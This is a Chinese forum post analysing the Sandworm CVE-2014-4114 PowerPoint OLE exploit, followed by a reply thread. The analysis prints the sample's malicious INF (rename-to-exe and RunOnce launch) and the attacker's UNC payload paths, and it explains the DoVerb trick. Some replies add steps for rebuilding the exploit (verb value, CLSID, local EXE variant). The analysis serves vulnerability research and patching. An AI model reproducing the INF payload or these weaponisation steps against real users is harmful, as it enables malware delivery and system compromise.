首页
论坛
专栏
课程

[原创]CVE-2014-4114 SandWorm 沙虫漏洞分析报告

2014-10-20 10:16 4385

[原创]CVE-2014-4114 SandWorm 沙虫漏洞分析报告

2014-10-20 10:16
4385
CVE-2014-4114 SandWorm 沙虫漏洞分析报告
by 百度安全攻防实验室 X-Team
微博:http://weibo.com/secbaidu
百度安全中心网站:http://sec.baidu.com/

漏洞简介

微软于2014年10月14日,发布了CVE-2014-4114漏洞(Windows OLE 远程代码执行漏洞)的重要安全公告MS14-060[1],该漏洞由国外安全机构iSIGHT[2]秘密上报到微软,号称一个叫SandWorm(“沙虫”)的俄罗斯黑客组织曾经使用该0day漏洞,以APT方式攻击了北约、乌克兰等目标。 根据微软的安全公告,此漏洞影响Windows Vista SP2到Win8.1的所有系统,还包括Windows Server 2008 到Windows Server 2012的服务器操作系统,可以看出影响面非常之大。

我们认为该漏洞的根本原因在于 —— PACKAGER.DLL模块在处理OLE对象时,允许执行OLE对象右键菜单中的操作。从捕获到的样本来看,首先是一个ppsx文件(幻灯片放映文件),其中嵌入了两个OLE对象(通过远程路径方式嵌入),一个是inf文件,一个是gif文件(其实是一个EXE文件,后缀改成了gif以便伪装),打开该文档后,会在临时目录(%TEMP%)中落地这2个文件,该样本正是利用了“允许执行右键菜单中操作”的漏洞,通过inf右键中“安装”菜单项完成了恶意程序的执行。因此如果用户打开包含特制 OLE 对象的 Microsoft Office 文件,则该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序,查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。

漏洞分析

当拿到原始样本ppsx文件(MD5:330e8d23ab82e8a0ca6d166755408eb1)后,以PowerPoint的编辑模式打开该样本,并没有发现有什么非常特别之处,看上去和普通的ppt没有任何区别,仔细观察后发现在幻灯片的第1页中,页面上方嵌入了两个非常隐蔽的对象(被放在上方放映时不可见区域,且很小),而且这两个对象加入了3个动画动作,如下图所示:

 

为了清晰看到嵌入的这两个对象的属性,我们将该ppsx文件改名为zip文件,并解压出来如下:

330E8D23AB82E8A0CA6D166755408EB1.ppsx.zip
│  [Content_Types].xml
│  
├─docProps
│      app.xml
│      core.xml
│      thumbnail.jpeg
│      
├─ppt
│  │  presentation.xml
│  │  presProps.xml
│  │  tableStyles.xml
│  │  viewProps.xml
│  │  
│  ├─drawings
│  │  │  vmlDrawing1.vml
│  │  │  
│  │  └─_rels
│  │          vmlDrawing1.vml.rels
│  │          
│  ├─embeddings
│  │      oleObject1.bin    [B][COLOR="Red"]嵌入的对象1,UNC地址:\\94.185.85.122\public\slide1.gif[/COLOR][/B]
│  │      oleObject2.bin    [B][COLOR="red"]嵌入的对象2,UNC地址:\\94.185.85.122\public\slides.inf[/COLOR][/B]
│  │      
│  ├─media
│  │      image1.wmf
│  │      image2.wmf
│  │      image3.gif
│  │      
│  ├─slideLayouts
│  │  │  slideLayout1.xml
│  │  │  slideLayout10.xml
│  │  │  slideLayout11.xml
│  │  │  slideLayout2.xml
│  │  │  slideLayout3.xml
│  │  │  slideLayout4.xml
│  │  │  slideLayout5.xml
│  │  │  slideLayout6.xml
│  │  │  slideLayout7.xml
│  │  │  slideLayout8.xml
│  │  │  slideLayout9.xml
│  │  │  
│  │  └─_rels
│  │          slideLayout1.xml.rels
│  │          slideLayout10.xml.rels
│  │          slideLayout11.xml.rels
│  │          slideLayout2.xml.rels
│  │          slideLayout3.xml.rels
│  │          slideLayout4.xml.rels
│  │          slideLayout5.xml.rels
│  │          slideLayout6.xml.rels
│  │          slideLayout7.xml.rels
│  │          slideLayout8.xml.rels
│  │          slideLayout9.xml.rels
│  │          
│  ├─slideMasters
│  │  │  slideMaster1.xml
│  │  │  
│  │  └─_rels
│  │          slideMaster1.xml.rels
│  │          
│  ├─slides
│  │  │  slide1.xml   [B][COLOR="red"]关键文件:其中包含了第1页幻灯片的播放动画等信息。[/COLOR][/B]
│  │  │  slide2.xml
│  │  │  slide3.xml
│  │  │  slide4.xml
│  │  │  
│  │  └─_rels
│  │          slide1.xml.rels
│  │          slide2.xml.rels
│  │          slide3.xml.rels
│  │          slide4.xml.rels
│  │          
│  ├─theme
│  │      theme1.xml
│  │      themeOverride1.xml
│  │      themeOverride2.xml
│  │      themeOverride3.xml
│  │      
│  └─_rels
│          presentation.xml.rels
│          
└─_rels
        .rels
  
 



如上图,其中ppt\ embeddings\oleObject1.bin OLE对象中指定了一个UNC(Universal Naming Convention)路径 \\94.185.85.122\public\slide1.gif,而ppt\ embeddings\oleObject2.bin OLE对象中指定了另一个UNC路径\\94.185.85.122\public\slides.inf,当ppsx播放时这两个文件会被自动下载到临时目录 %TEMP% 下。

另外还有一个文件非常关键,直接导致漏洞利用成功,即 ppt\slides\slide1.xml 文件,该文件包含了第1页幻灯片(也就是包含了上面2个OLE对象的页面)的播放动画等信息。实际上,手动构造一个包含以上2个OLE对象和3个动画的ppsx并不难,但是构造出来的样本,其中的inf文件怎么也得不到执行安装,非常苦恼,最后通过构造样本和原始样本解压后每个文件的对比发现了不同之处,如下图所示:




从上面原始样本和构造样本中slide1.xml的对比发现,原始样本对两个OLE对象额外添加了2个verb动作,其中对gif对象执行的verb动作cmd为-3,而对inf对象执行的verb动作cmd为3。为了理解这两个额外动作的含义,需要充分查阅一下windows的 MSDN文档,以及相关模块的IDA反汇编代码。

Office最著名的功能是OLE(对象连接嵌入),ActiveX容器(PowerPoint就是一个容器)可以通过嵌入一个外部ActiveX对象,来丰富容器的功能。ActiveX机制最著名的一个功能是DoVerb,容器可以通过DoVerb接口要求ActiveX对象执行一定的动作,比如激活、隐藏等。DoVerb的接口原型类似于Object.DoVerb(VerbValue), 一些WellKnown的VerbValue如下表[3]。

VerbValue  Action
0  The default action for the object.
-1  Activates the object for editing. If the application that created the object supports in-place activation, the object is activated within the OLE container control.
-2  Opens the object in a separate application window. If the application that created the object supports in-place activation, the object is activated in its own window.
-3  For embedded objects, hides the application that created the object.
-4  If the object supports in-place activation, activates the object for in-place activation and shows any user interface tools. If the object doesn't support in-place activation, the object doesn't activate, and an error occurs.
-5  If the user moves the focus to the OLE container control, creates a window for the object and prepares the object to be edited. An error occurs if the object doesn't support activation on a single mouse click.
-6  Used when the object is activated for editing to discard all record of changes that the object's application can undo.


Office为了通用性,当嵌入非ActiveX对象时,嵌入的数据由内置的Package包装并展现为ActiveX对象。内置的Package对象由%system32%\packager.dll实现,使用IDA分析,得到伪代码如下:

__int32 __stdcallCPackage::DoVerb(CPackage *this, signed intnVerb…)
{
    nTrueVerb = nVerb;
if ( nVerb< -2 )  [COLOR="red"]//-3直接返回[/COLOR]
returnE_NOTIMPL;
if ( nVerb == -1 )  [COLOR="red"]//利用向导,执行编辑命令[/COLOR]
{
LABEL_EDIT:
…
        PackWiz_CreateWizard(v14, (struct _packageInfo *)&v18);
        CPackage::InitFromPackInfo((CPackage*)((char*)this-8), (struct _packageInfo*)&v18);
        …
returnCPackage::_ExecuteAttachment( (CPackage *)((char *)this - 8),v9,a3,
             (structIOleClientSite *)hmenu,a5,a6,(conststructtagRECT *)v15);
}
if ( nVerb == 2 )  [COLOR="red"]//特殊的Verb,重新获取真实Verb[/COLOR]
        nTrueVerb = *((_DWORD *)this + 35);
if ( nTrueVerb == -1 || nTrueVerb == -2 )
gotoLABEL_EDIT;
if ( nTrueVerb == 1 )  [COLOR="red"]//编辑对象的显示名字[/COLOR]
returnCPackage::_ChangePackageLabel((CPackage *)((char *)this - 8), a6);
if ( !nTrueVerb )  [COLOR="red"]//默认的动作,即执行Shell右键菜单中的默认命令[/COLOR]
        returnCPackage::_ExecuteAttachment( (CPackage *)((char *)this - 8),v9,a3, (structIOleClientSite *)hmenu,a5,a6,(conststructtagRECT *)v15);

CPackage::GetContextMenu((char *)this - 8, &v15);
hmenu = CreatePopupMenu();
[COLOR="red"]//获取Shell右键菜单中第nTrueVerb-2个位置说对应的命令[/COLOR]
    GetMenuItemInfoW(hmenu, nTrueVerb - 2, 1, &mii) ;
    if ( *((_DWORD *)this + 12) == 3 )
v17 = CPackage::CreateTempFile((CPackage *)v14, 0);
if ( v17 >= 0 )
{
    [COLOR="red"]//调用IContextMenu::InvokeCommand方法,执行第nVerb -2位置的命令。当输入3时,执行右键菜单中的第2项(对于inf文件来说正好是“安装”)[/COLOR]
v13.lpVerb = (LPCSTR)(mii.wID - 2);
v13.cbSize = 36;
v13.fMask = 0;
v13.hwnd = 0;
v13.lpParameters = 0;
v13.lpDirectory = 0;
 v13.nShow = SW_SHOWNORMAL;
v17=(*(int(__stdcall**)(structIContextMenu*, CMINVOKECOMMANDINFO *))((int (__stdcall **)(_DWORD, _DWORD))v15->lpVtbl+ 4))( v15, &v13);
 }
    DestroyMenu(hmenu);
    …
return v17
}


从上面代码可以看出,第1个OLE对象(slide1.gif)执行动画时,nVerb是-3,在上面的DoVerb处理函数中什么也不做,直接返回,那黑客为什么要做这样一个无意义的操作呢,其实是为了使Office下载该gif文件到%temp%目录下。而第2个OLE对象(slides.inf)执行动画时,nVerb是3,在上面的DoVerb处理函数中会找到右键菜单中的第2项(3-2=1,0表示菜单第1项,1表示菜单第2项),也就是“安装”这个菜单项,如下图所示。



接下来,需要看看这个在临时目录下落地后的slides.inf,到底执行了什么操作,打开slides.inf文件如下:

; 61883.INF
; Copyright (c) Microsoft Corporation.  All rights reserved.

[Version]
Signature = "$CHICAGO$"
Class=61883
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}  [COLOR="red"]#这里是伪装成了61883设备的驱动程序[/COLOR]
Provider=%Msft%
DriverVer=06/21/2006,6.1.7600.16385

[DestinationDirs]
DefaultDestDir = 1

[DefaultInstall]
RenFiles = RxRename
AddReg = RxStart

[RxRename]
slide1.gif.exe, slide1.gif   [COLOR="red"]#把%TEMP%目录下先落地的slide1.gif文件改名为[/COLOR]slide1.gif.exe,
                      [COLOR="red"]#以便后面执行,并写入注册表启动项[/COLOR]
[RxStart]
HKLM,Software\Microsoft\Windows\CurrentVersion\RunOnce,Install,,%1%\slide1.gif.exe   [COLOR="red"]#写入自启动项,并执行[/COLOR]


INF的安装过程中,如下:
1.  把slide1.gif重命名成slide1.gif.exe
2.  写注册表项RunOnce,开启启动一次slide1.gif.exe
3.  Inf有个特殊之处在于,会立即模拟OS执行一次RunOnce,此时slide1.gif.exe就会得到执行

至此,该漏洞的原理和成因,已经分析完毕,需要重点思考的还是该漏洞的根本原因到底是什么,为什么一个ppsx打开后能够执行任意程序。事实上,我们认为,原始样本中利用inf来启动恶意程序只是利用此漏洞的一种方法,如果不使用inf文件,同样也是可以达到执行PE程序的目的。那么造成该漏洞的根本原因应该是 —— 嵌入的OLE对象使用了DoVerb接口提供的功能,在%system32%\packager.dll的CPackage::DoVerb处理中,允许该对象执行右键菜单中的操作,而菜单中的操作很多都能够直接把落地的文件安装执行起来。

漏洞利用

该漏洞至少存在以下三种利用方式:
1.  黑客可以构造嵌入OLE对象的恶意Office文件(例如word、ppt、excel等),以社工方式诱使用户打开该文档,执行任意程序;
2.  或者用户访问了嵌入该恶意Office文件的网站时,当本地的浏览器使用Office组件打开了此文档,也可以引发恶意程序的执行;
3.  或者用户使用Outlook浏览了嵌入该恶意Office文件的邮件,也可以引发恶意程序执行;

漏洞修补

请参考微软最新的漏洞公告https://technet.microsoft.com/library/security/ms14-060,安装最新的补丁。

参考链接

1.  《Microsoft 安全公告 MS14-060 - 重要》  https://technet.microsoft.com/library/security/ms14-060
2.  《iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign》  http://www.isightpartners.com/2014/10/cve-2014-4114/
3.  《DoVerb Method》  http://msdn.microsoft.com/en-US/library/z326sbae(v=vs.80).aspx
4.  《瀚海源分析报告:SANDWORM APT Windows OLE PACKAGE 0day来袭》  http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/
5.  VirusTotal   https://www.virustotal.com/en/file/70b8d220469c8071029795d32ea91829f683e3fbbaa8b978a31a0974daee8aaf/analysis/

[公告]LV6级以上的看雪会员可以免费获得《2019安全开发者峰会》门票一张!!

上传的附件:
最新回复 (59)
安于此生 34 2014-10-20 10:21
2
0
support shineast大大!!! 学习
lifestill 8 2014-10-20 10:25
3
0
坐等精华~~
熊猫正正 9 2014-10-20 10:32
4
0
之前在百度安全中心微信上发布,不过马上就删了,没看到,现在又在看雪上看到了,多谢分享
雪衫 2014-10-20 10:33
5
0
前排围观学习,感谢分享
lookzo 2014-10-20 12:29
6
0
早就拿到样本了?
caozhihua 2014-10-20 13:09
7
0
分析的比较透彻的一个
Arcade 2014-10-20 13:16
8
0
学习。。。
寒江雪语 2014-10-20 13:31
9
0
yaseng亲友团前来支持
blacksplit 1 2014-10-20 13:32
10
0
带着yaseng来支持
shineast 4 2014-10-20 13:43
11
0
样本扩散的比较厉害,很容易抓到。
shineast 4 2014-10-20 13:47
12
0
谢谢!
分析得不够深入,期待大家更牛的发现。
netwind 13 2014-10-20 14:49
13
0
能发下样本不?
zrhai 2014-10-20 15:30
14
0
之前分析也没仔细研究 inf 是如何执行起来的,
学习了,多谢分享!
shineast 4 2014-10-20 17:02
15
0
卡饭上已经可以下载这个样本了。
http://bbs.kafan.cn/thread-1778851-1-1.html
黑殇 2014-10-20 17:16
16
0
请教楼主,为什么直接改bin里面的IP,实验不成功,嵌入的那两个对象是怎么生成的
LessonXK 1 2014-10-20 18:42
17
0
多谢分享~
shineast 4 2014-10-20 19:22
18
0
你改了ip,例如127.0.0.1,然后需要在本地开一个共享,UNC路径要可以访问下载。
两个对象的嵌入方法非常简单,直接拖到ppt第一页即可。
viphack 4 2014-10-20 19:28
19
0
支持1!!@
lookzo 2014-10-20 20:42
20
0
卡饭无阅读权限,能否本地备份一份啊
黑殇 2014-10-21 08:11
21
0
谢谢楼主解答,我第二个问题不是想问怎么嵌入的,是想问这两个对象嵌入之前是什么。还有不用UNC的话直接用IIS好像不可以,求解释
playdong 2014-10-21 09:07
22
0
请教:请问通过什么协议下载的文件  \\94.185.85.122\public\slides.inf?多谢了
llongwei 2014-10-21 09:31
23
0
谁能 帮忙分享个样本吗??卡饭 没账号,下载不了,先谢谢了
zhczf 2014-10-21 10:51
24
0
来看一看,了解一下情况
碧水镜影 2014-10-21 15:41
25
0
当ppsx播放时这两个文件会被自动下载到临时目录 %TEMP% 下,不知道下载在哪个目录下了,能请教一下吗?
新手,刚开始调漏洞,还要往这个漏洞里注入东西。
Lenus 3 2014-10-21 18:51
26
0
特来支持!
shineast 4 2014-10-21 18:54
27
0
就是临时目录啊。

在win7下,就是 C:\Users\{username}\AppData\Local\Temp
碧水镜影 2014-10-21 21:00
28
0
发现TEMP没有,难道是我的样本不对吗或是没有搭建服务器之类的?
样本的hash:70b8d220469c8071029795d32ea91829f683e3fbbaa8b978a31a0974daee8aaf
我运行样本后,程序直接崩溃了。

Packager.dll的一个函数将这两个文件从网络上下载下来并保存在临时目录中,该函数是CPackage::OLE2MPlayerReadFromStream,用什么工具查看这个函数?
上传的附件:
黑殇 2014-10-21 21:33
29
0
话说这个\\94.185.85.122\public\slides.inf是UNC路径的话是怎么做到在外网下载的,求大腿解释
shineast 4 2014-10-22 09:53
30
0
当然是用IDA啦
wmg 2014-10-22 10:41
31
0
好东西,,多谢分享...
碧水镜影 2014-10-22 13:35
32
0
哦哦,好,我试试,多谢,另外要往这个漏洞里注入东西应该怎么做,像弹出会话框之类的。
碧水镜影 2014-10-22 20:23
33
0
直接改嵌入对象的地址,攻击是不是就不能执行了?
fighter 2014-10-23 08:42
34
0
卡饭没有权限,能不能直接发个附件呢,非常感谢
黑殇 2014-10-23 11:15
35
0
楼主分析里说的自己生成的PPT里的slide1.xml,为什么添上了少的那几条语句,PPT第一页直接损坏了呢
blackwhite 1 2014-10-23 16:08
36
0
我看了翰海源和安天的分析,有个关键的地方没弄明白,为什么都要说\\x.x.x.x\xx.inf这个文件的地址是WEBDAV地址,我看明明只能是UNC地址的.这对攻击的场景还是有很大关系的.
isno 3 2014-10-23 19:05
37
0
http://blog.xecure-lab.com/2014/10/cve-2014-4114-pptx-apt-xecure-lab.html
现在有不需要远程下载,直接把exe内嵌在pptx里的了。
不过这个CompObj stream我没搞明白怎么用,谁有内嵌版的样本啊?
blackwhite 1 2014-10-23 19:29
38
0
打开的时候咋个还是有个提示哦。
碧水镜影 2014-10-24 13:52
39
0
我传一下我下载的样本,不会调这个漏洞,求助!!!
上传的附件:
碧水镜影 2014-10-24 14:09
40
0
改IP后,文件就损坏了,不能执行了,要怎么改这个IP?
碧水镜影 2014-10-24 14:38
41
0
是PPS格式的一个样本。
上传的附件:
blackwhite 1 2014-10-24 20:36
42
0
你妹的。。。。楼主这个洞你还是没分析完全哈。
除了VERB这儿还有个关键地方。
blackwhite 1 2014-10-25 00:56
43
0
总结了一下关键要点

远程利用方式:
两个要点:
1.要修改CMD为3,也就是执行右键菜单的第二项,执行第一项也就默认的打开是有提示的.
2.要修改OLE对象的CLSID为{00022602-0000-0000-C000-000000000046},这样在实际数据中才能以UNC路径(注意不是WEBDAV)方式引用INF文件,同时可以跳过下载文件提示(makefileunsafe),因为程序把UNC路径当成的本地文件!

-----------
本地利用方式:
1.修改CMD同上
2.本地方式只能绑EXE,本地方式不能跳过下载文件提示,但是如果是绑EXE(菜单项第二项为以管理员方式运行),如果有UAC则提示UAC,如果没有UAC则EXE可直接运行!
-----------
结论:比较鸡肋的漏洞!
碧水镜影 2014-10-25 15:12
44
0
现在把public目录下的东西放在自己的主机上了(之前的链接已经失效了),然后把地址改为自己主机的位置了,但是把样本修改后就无法运行了,不知道什么原因,求大神指导。
blackwhite 1 2014-10-25 17:58
45
0
要重新打包。用WINRAR就可以
碧水镜影 2014-10-25 18:49
46
0
WINRAR是哪个版本的,试了好几个压缩软件都不行,压缩回去就打不开了。
碧水镜影 2014-10-25 19:23
47
0
我传一个我修改对象地址后的压缩包,麻烦帮我看看怎么才能运行。谢谢!!!
上传的附件:
benteng 2014-10-25 20:15
48
0
我把卡饭的引用过来了。
上传的附件:
mccoysc 2014-10-25 20:43
49
0
这东西,从资源管控角度讲,office系列软件是不该生成exe文件的,一旦生成,直接拦截并报警,一样可以起到防御效果,不过某些喜欢搞所谓 技术流的,这么高深的玩玩倒也可以
天晗 2014-10-26 11:46
50
0
新人菜鸟求教,为什么我打不开修改后的ppt提示: 无法打开演示文稿。防病毒程序可能阻止您打开此演示文稿。若要解决此问题,请确保防病毒程序为最新版本并且运行正常。如果问题仍然存在,并且该演示文稿来自您信任的人员,请关闭防病毒程序,然后重新尝试打开演示文稿。如果执行此操作,则在打开了演示文稿之后,请务必重新打开防病毒软件。
    但是我虚拟机上没有杀毒软件,防火墙关了也不行,我用的是office2010
游客
登录 | 注册 方可回帖
返回